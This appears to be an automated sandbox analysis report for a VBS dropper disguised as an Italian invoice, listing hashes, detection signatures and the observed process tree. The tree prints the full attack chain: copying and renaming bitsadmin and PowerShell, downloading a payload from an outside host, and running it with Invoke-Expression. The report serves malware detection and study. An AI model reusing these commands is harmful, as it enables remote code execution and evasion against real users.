Analysis

  • max time kernel
    32s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    30-06-2020 11:36

General

  • Target

    FattDiffEmessa2020 03799870369.vbs

  • Size

    3KB

  • MD5

    ba1697038db097aae963962a1fd5dd15

  • SHA1

    46e3f1b7e3c93f3de52d63a1afb3b6f6c17180b8

  • SHA256

    79b59d0b510fb8855ee624fd51b46c2b4f1cccef9294860f9864f00183b07e2c

  • SHA512

    d45c7b86124b760381e36eeb301c2fba631e38b3ba537187ca059238eb2692531dda9efaa0ed0806c2530794b9fcd4f70e872ff6da2984d31ea812e6e177fb64

Score
8/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 14 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 03799870369.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe
      2⤵
        PID:1444
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
        2⤵
          PID:1000
        • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
          "C:\Users\Admin\AppData\Roaming\DrBqNtd.exe" /transfer bHybPh /download https://ndjambo.com/jaluma/03799870369/it.gif C:\Users\Admin\AppData\Roaming\it.gif
          2⤵
          • Executes dropped EXE
          PID:744
        • C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe
          "C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe" -c &{$aO=gc C:\Users\Admin\AppData\Roaming\it.gif| Out-String; Invoke-Expression $aO }
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:1780

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
      • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
      • C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe
      • C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe
      • memory/744-3-0x0000000000000000-mapping.dmp
      • memory/1000-1-0x0000000000000000-mapping.dmp
      • memory/1356-10-0x00000000025D0000-0x00000000025D4000-memory.dmp
        Filesize

        16KB

      • memory/1444-0-0x0000000000000000-mapping.dmp
      • memory/1780-6-0x0000000000000000-mapping.dmp